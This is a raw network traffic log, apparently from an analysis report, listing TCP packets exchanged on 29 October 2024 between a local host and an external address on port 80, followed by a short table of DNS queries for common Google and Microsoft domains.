Oct 29, 2024 06:59:39.679825068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.679845095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.679997921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680010080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680020094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680030107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680041075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680041075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680054903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680144072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680155993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680166006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680177927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680182934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680186033 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680195093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680206060 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680211067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680217028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680231094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680236101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680242062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680246115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680253983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680279016 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680296898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680309057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680319071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680322886 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680330992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680337906 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680342913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680351973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680351973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680371046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680382013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680392027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680392981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680399895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680402994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680413008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680428028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680429935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680447102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680457115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680457115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680469990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680480003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680484056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680491924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680502892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680516005 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680516958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680516958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680527925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680537939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680545092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680547953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680560112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680571079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.680573940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680573940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680627108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.680627108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.721775055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.721920013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.721931934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.721949100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.721998930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.743309975 CET	49938	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:39.743343115 CET	443	49938	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:39.743458033 CET	49938	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:39.743720055 CET	49938	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:39.743732929 CET	443	49938	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:39.764504910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.764552116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.764563084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.764579058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.764611006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.789515972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789534092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789546013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789556980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789568901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789580107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789607048 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.789737940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.789911985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789921999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789941072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789961100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789966106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.789973021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789983034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.789988995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.789999008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790009022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790015936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790015936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790020943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790030956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790043116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790044069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790066957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790066957 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790163994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790194035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790220976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790252924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790273905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790285110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790297985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790299892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790316105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790323019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790328026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790338039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790348053 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790350914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790368080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790374041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790379047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790390015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790390968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790402889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790411949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790419102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790431976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790432930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790445089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790448904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790462017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790468931 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790473938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790483952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790484905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790508032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790508032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790517092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790525913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790539980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790541887 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790554047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790560007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790565014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.790582895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.790622950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791306973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791377068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791387081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791398048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791400909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791415930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791426897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791440964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791444063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791455984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791464090 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791465044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791466951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791479111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791493893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791496038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791496038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791503906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791520119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791553020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791579008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791603088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791614056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791630030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791631937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791642904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791654110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791654110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791675091 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791762114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791780949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791791916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791802883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791834116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791845083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791855097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791860104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791867971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791877985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791879892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.791891098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791918039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.791949987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792027950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792040110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792051077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792073965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792084932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792109966 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792140007 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792162895 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792174101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792184114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792196035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792207956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792207956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792222977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792227983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792232990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792243004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792251110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792256117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792267084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792280912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792280912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792313099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792325020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792335987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792336941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792352915 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792366028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792368889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792378902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792396069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792402983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792402983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792416096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792427063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792437077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792439938 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792448997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792459011 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792474031 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792522907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792551041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792597055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792632103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792643070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792655945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792665958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792678118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792685986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792690992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792699099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792705059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792711020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792722940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792725086 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792733908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792745113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792757034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792773962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792783976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792794943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792798042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792818069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792818069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792821884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792831898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792844057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792844057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792854071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792874098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792908907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792918921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792920113 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792931080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792948008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792952061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792960882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792968035 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792975903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.792999983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.792999983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793412924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793431044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793440104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793493032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793493032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793572903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793651104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793663025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793673038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793685913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793697119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793697119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793709993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793720961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793736935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793737888 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793740988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793751001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793756962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793773890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793781996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793792009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793802023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793807030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793814898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793826103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793827057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793838024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793863058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793863058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793883085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793895006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793912888 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793962955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793973923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793984890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.793987989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.793998003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.794008017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.794043064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.794043064 CET	49888	80	192.168.2.5	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 06:59:07.805454016 CET	192.168.2.5	1.1.1.1	0xc893	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:07.805748940 CET	192.168.2.5	1.1.1.1	0x82f4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:11.782713890 CET	192.168.2.5	1.1.1.1	0xf280	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:11.782888889 CET	192.168.2.5	1.1.1.1	0x90ff	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:12.787988901 CET	192.168.2.5	1.1.1.1	0x28fd	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:12.788147926 CET	192.168.2.5	1.1.1.1	0xfe99	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:20.906291008 CET	192.168.2.5	1.1.1.1	0x1af1	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:20.906852007 CET	192.168.2.5	1.1.1.1	0xb8b5	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:21.929864883 CET	192.168.2.5	1.1.1.1	0x2bca	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:21.930198908 CET	192.168.2.5	1.1.1.1	0xf8f3	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:23.676580906 CET	192.168.2.5	1.1.1.1	0x94fb	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:23.677268028 CET	192.168.2.5	1.1.1.1	0xe0bc	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 29, 2024 06:59:24.048132896 CET	192.168.2.5	1.1.1.1	0x859a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:24.048266888 CET	192.168.2.5	1.1.1.1	0xd5	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.189768076 CET	192.168.2.5	1.1.1.1	0x95ab	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
